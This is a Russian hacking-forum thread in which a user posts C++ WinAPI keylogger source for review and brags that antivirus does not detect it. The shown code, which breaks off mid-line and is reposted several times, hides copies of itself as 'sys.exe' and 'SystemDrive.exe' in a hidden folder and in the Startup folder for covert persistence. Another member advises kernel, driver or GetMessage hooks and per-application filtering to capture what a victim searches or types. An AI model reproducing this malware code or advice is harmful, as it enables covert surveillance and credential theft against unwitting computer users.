Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   KeyLogger на C++ с использованием WinAPI (https://forum.antichat.xyz/showthread.php?t=455122)

JiEn 29.08.2017 16:09

Привет, написал месяц назад кейлоггер на Си Плюсах, оцените пожалуйста. Использовал хук GetAsyncKeyState(), антивирусами не палится. А еще укажите на ошибки в синтаксисе если таковые имеются.

Заранее прошу прощения за кодировку комментариев.

#include

#include

#include

#include

#include

#include

#include

using namespace std;

int CALLBACK WinMain(

HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow

)

{

//%appdata%/Microsoft\Windows\Start Menu\Programs\Startup

char dir_pl[1024];

GetModuleFileName(NULL, dir_pl, 1024);

time_t now = time(0);

char* dt = ctime(&now);

char buffer[1024];

GetEnvironmentVariable("APPDATA", (char*)&buffer, sizeof(buffer));

//-------------------------------------------------

CreateDirectory("C:\\system64", NULL);

SetFileAttributes("C:\\system64",FILE_ATTRIBUTE_HI DDEN);

//-------------------------------------------------

CopyFile(dir_pl, "C:\\system64\\sys.exe", FALSE);

CopyFile(dir_pl, strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);

SetFileAttributes(strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"),FILE_AT TRIBUTE_HIDDEN);

//-------------------------------------------------

ofstream fut("C:\\autoexec.bat");

fut

artkar 29.08.2017 18:12

Он потому не палиться что антивирусу не остается вычислительных ресурсов всё съедает твой логгер

JiEn 29.08.2017 20:09

Цитата:

Сообщение от artkar
artkar said:

Он потому не палиться что антивирусу не остается вычислительных ресурсов
всё съедает твой логгер

Я знаю что подобное опрашивание каждой из клавиш должно жрать ресурсы, но в действительности любой нажатие клавиш так и отслеживается на уровне ОС и (Я не имею ввиду библиотеку WinApi)

что-то незаметно что это шибко тормозит работу компа и ОС в целом.

artkar 29.08.2017 23:41

Не, pooling (периодический опрос устройств, в данном случае клавы) уже давно не используется даже в старых процах для мс-дос.

binarymaster 30.08.2017 12:55

Цитата:

Сообщение от JiEn
JiEn said:

Заранее прошу прощения за кодировку комментариев.

Ну хотя бы для приличия надо было в теге [CОDE] оформить... пофиксил:

[CODE]
Code:
#include
#include
#include
#include
#include
#include
#include

using namespace std;

int CALLBACK WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//%appdata%/Microsoft\Windows\Start Menu\Programs\Startup

char dir_pl[1024];
GetModuleFileName(NULL, dir_pl, 1024);
time_t now = time(0);
char* dt = ctime(&now);
char buffer[1024];
GetEnvironmentVariable("APPDATA", (char*)&buffer, sizeof(buffer));

//-------------------------------------------------
CreateDirectory("C:\\system64", NULL);
SetFileAttributes("C:\\system64", FILE_ATTRIBUTE_HIDDEN);
//-------------------------------------------------
CopyFile(dir_pl, "C:\\system64\\sys.exe", FALSE);
CopyFile(dir_pl, strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);
SetFileAttributes(strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FILE_ATTRIBUTE_HIDDEN);

//-------------------------------------------------

ofstream fut("C:\\autoexec.bat");
fut

JiEn 31.08.2017 09:41

[QUOTE="binarymaster"]
binarymaster said:

Ну хотя бы для приличия надо было в теге [CОDE] оформить... пофиксил:
[CODE]
Code:
#include
#include
#include
#include
#include
#include
#include

using namespace std;

int CALLBACK WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//%appdata%/Microsoft\Windows\Start Menu\Programs\Startup

char dir_pl[1024];
GetModuleFileName(NULL, dir_pl, 1024);
time_t now = time(0);
char* dt = ctime(&now);
char buffer[1024];
GetEnvironmentVariable("APPDATA", (char*)&buffer, sizeof(buffer));

//-------------------------------------------------
CreateDirectory("C:\\system64", NULL);
SetFileAttributes("C:\\system64", FILE_ATTRIBUTE_HIDDEN);
//-------------------------------------------------
CopyFile(dir_pl, "C:\\system64\\sys.exe", FALSE);
CopyFile(dir_pl, strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);
SetFileAttributes(strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FILE_ATTRIBUTE_HIDDEN);

//-------------------------------------------------

ofstream fut("C:\\autoexec.bat");
fut
#include
#include
#include
#include
#include
#include

using namespace std;

int CALLBACK WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//%appdata%/Microsoft\Windows\Start Menu\Programs\Startup

char dir_pl[1024];
GetModuleFileName(NULL, dir_pl, 1024);
time_t now = time(0);
char* dt = ctime(&now);
char buffer[1024];
GetEnvironmentVariable("APPDATA", (char*)&buffer, sizeof(buffer));

//-------------------------------------------------
CreateDirectory("C:\\system64", NULL);
SetFileAttributes("C:\\system64", FILE_ATTRIBUTE_HIDDEN);
//-------------------------------------------------
CopyFile(dir_pl, "C:\\system64\\sys.exe", FALSE);
CopyFile(dir_pl, strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);
SetFileAttributes(strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FILE_ATTRIBUTE_HIDDEN);

//-------------------------------------------------

ofstream fut("C:\\autoexec.bat");
fut

JiEn 31.08.2017 09:50

Цитата:

Сообщение от artkar
artkar said:

Не, pooling (периодический опрос устройств, в данном случае клавы) уже давно не используется даже в старых процах для мс-дос.

Извинните, в таком случае, расскажите как в современных ОС определяется нажатие клавиш.

artkar 31.08.2017 19:41

Цитата:

Сообщение от JiEn
JiEn said:

Извинните, в таком случае, расскажите как в современных ОС определяется нажатие клавиш.

Стало быть итак:

В момент нажатия клавиши приходит сигнал от клавиатуры на ... я бы сказал на контроллер прерывания, но в современных устройсвах он составляет часть чипсета южного моста, хотя для простоты, всё же скажем на КОНТРОЛЛЕР ПРЕРЫВАНИЯ, итак при поступлении сигнала контроллер прерывания определяет его номер, по входному порту (каждое прерывание приходит на свой порт). Далее этот номер фиксируется в регистре запроса на прерывание и далее этот регистр сравнивается с регистором маски, чтобы определить разрешено или нет прерывание с таким номером?

Если прерывание разрешено то обработка переходит к аппартному комплексу называемому "арбитром приоритетов" так как прерывания ранжируются от более высокого к более низкому. Если нет запроса от более приоритетного прерывания арбитр приоритетов посылает сигнал на передачу к центральному микропроцессору. Для этого у центрального микропроцессора есть специальный вход INTR сигнализирующий о пришедшем прерывании. Если прерывания разрешены у него, то центральный процессор запрещает обработку прерываний и посылает по специальном выходу INTA подтверждение контроллеру прерывания что он получил его и занимаеться им.

Ну это пока так, часть, надо бы рассказать о каскадировании микросхем i8259a, о процессе завершения контролером прерывания, но это уже овер-ответ

Что делает процессор?

Прекращает выполнять ту программу что он сейчас выполняет. Скидывает весь контекст в стэк. Определяет по номеру прерывания вектор прерывания и вызывает процедуру обработки прерывания. После выполнения программы прерывания, восстанавливает контекст ранее выполняемой программы и продолжает её выполнять. Если во время обработки текущего прерывания придет запрос на новое прерывание, с таким же приоритетом, то оно будет поставлено в очередь на обработку, если придет запрос с более высоким приоритетом, то текущее прерывание тоже останавливается и контекст скидывается.

ну далее твой обработчик прерывания передаёт данные прерывания на более высокие абстрактные слои и оно наконец попадает к диспетчеру очереди сообщений (Это для винды) которые запаковывает данные и передает дальше по информационным магистралям ОС

Но вот как бы вкратце...

Да и чё ты на "Вы" ёбнулся штоле? Што за псевдо-интелегентность?

JiEn 01.09.2017 11:21

Цитата:

Сообщение от artkar
artkar said:

Стало быть итак:
В момент нажатия клавиши приходит сигнал от клавиатуры на ... я бы сказал на контроллер прерывания, но в современных устройсвах он составляет часть чипсета южного моста, хотя для простоты, всё же скажем на КОНТРОЛЛЕР ПРЕРЫВАНИЯ, итак при поступлении сигнала контроллер прерывания определяет его номер, по входному порту (каждое прерывание приходит на свой порт). Далее этот номер фиксируется в регистре запроса на прерывание и далее этот регистр сравнивается с регистором маски, чтобы определить разрешено или нет прерывание с таким номером?
Если прерывание разрешено то обработка переходит к аппартному комплексу называемому "арбитром приоритетов" так как прерывания ранжируются от более высокого к более низкому. Если нет запроса от более приоритетного прерывания арбитр приоритетов посылает сигнал на передачу к центральному микропроцессору. Для этого у центрального микропроцессора есть специальный вход INTR сигнализирующий о пришедшем прерывании. Если прерывания разрешены у него, то центральный процессор запрещает обработку прерываний и посылает по специальном выходу INTA подтверждение контроллеру прерывания что он получил его и занимаеться им.
Ну это пока так, часть, надо бы рассказать о каскадировании микросхем i8259a, о процессе завершения контролером прерывания, но это уже овер-ответ
Что делает процессор?
Прекращает выполнять ту программу что он сейчас выполняет. Скидывает весь контекст в стэк. Определяет по номеру прерывания вектор прерывания и вызывает процедуру обработки прерывания. После выполнения программы прерывания, восстанавливает контекст ранее выполняемой программы и продолжает её выполнять. Если во время обработки текущего прерывания придет запрос на новое прерывание, с таким же приоритетом, то оно будет поставлено в очередь на обработку, если придет запрос с более высоким приоритетом, то текущее прерывание тоже останавливается и контекст скидывается.
ну далее твой обработчик прерывания передаёт данные прерывания на более высокие абстрактные слои и оно наконец попадает к диспетчеру очереди сообщений (Это для винды) которые запаковывает данные и передает дальше по информационным магистралям ОС
Но вот как бы вкратце...
Да и чё ты на "Вы" ёбнулся штоле? Што за псевдо-интелегентность?

Спасибо за ответ! Буду знать, но скажи как бы ты реализовал глобальный хук клавиш?

artkar 01.09.2017 17:26

Цитата:

Сообщение от JiEn
JiEn said:

Спасибо за ответ! Буду знать, но скажи как бы ты реализовал глобальный хук клавиш?

Ну в идеале конечно заменить вектор прерывания клавиатуры на свой, и на ранних системах так трухацкеры и делали, так как область таблицы векторов прерывания была программно доступна. Сейчас же золотые времена кид-хакинга канули и уровень входа резко подскочил. Таблица векторов программно недоступна и регистры работающие с ней тоже, но если сможешь это был бы топ-хак.

Далее нужно подниматься на верхние слои, чем ниже тем круче. Сможешь внедриться в ядро - супер, в драйвер клавиатуры - тоже супер. Но более реально это поставить хук в юзер-мод режиме допустим хук на функцию типо ГетМессадж - я бы так и попытался. ТОгда ты можешь логгировать все обрабатываемые нажатия клавиш, для любого приложения и даже можно настроить механизм фильтрации, агрегирования, то есть тебе нужно ведь сохранять не тупо все нажатия, а по приложением - тогда ты сможешь определять что человек искал в гугле,или печатал в ворде.

Тока когда будешь ставить хуки тут то и оживиться антивирус, почувствует уже руку профессионала и насторожиться.

Да и я не понял как ты понимаешь термин "Хук" я это понимаю перехват вызова какой либо функции..

JiEn 06.09.2017 20:43

Сори, это первый софт который я писал, мои навыки пока достаточно низки. Спасибо за помощь, буду развиваться!

JiEn 06.09.2017 20:43

Цитата:

Сообщение от artkar
artkar said:

Ну в идеале конечно заменить вектор прерывания клавиатуры на свой, и на ранних системах так трухацкеры и делали, так как область таблицы векторов прерывания была программно доступна. Сейчас же золотые времена кид-хакинга канули и уровень входа резко подскочил. Таблица векторов программно недоступна и регистры работающие с ней тоже, но если сможешь это был бы топ-хак.
Далее нужно подниматься на верхние слои, чем ниже тем круче. Сможешь внедриться в ядро - супер, в драйвер клавиатуры - тоже супер. Но более реально это поставить хук в юзер-мод режиме допустим хук на функцию типо ГетМессадж - я бы так и попытался. ТОгда ты можешь логгировать все обрабатываемые нажатия клавиш, для любого приложения и даже можно настроить механизм фильтрации, агрегирования, то есть тебе нужно ведь сохранять не тупо все нажатия, а по приложением - тогда ты сможешь определять что человек искал в гугле,или печатал в ворде.
Тока когда будешь ставить хуки тут то и оживиться антивирус, почувствует уже руку профессионала и насторожиться.
Да и я не понял как ты понимаешь термин "Хук" я это понимаю перехват вызова какой либо функции..

Сори, это первый софт который я писал, мои навыки пока достаточно низки. Спасибо за помощь, буду развиваться!


Время: 01:44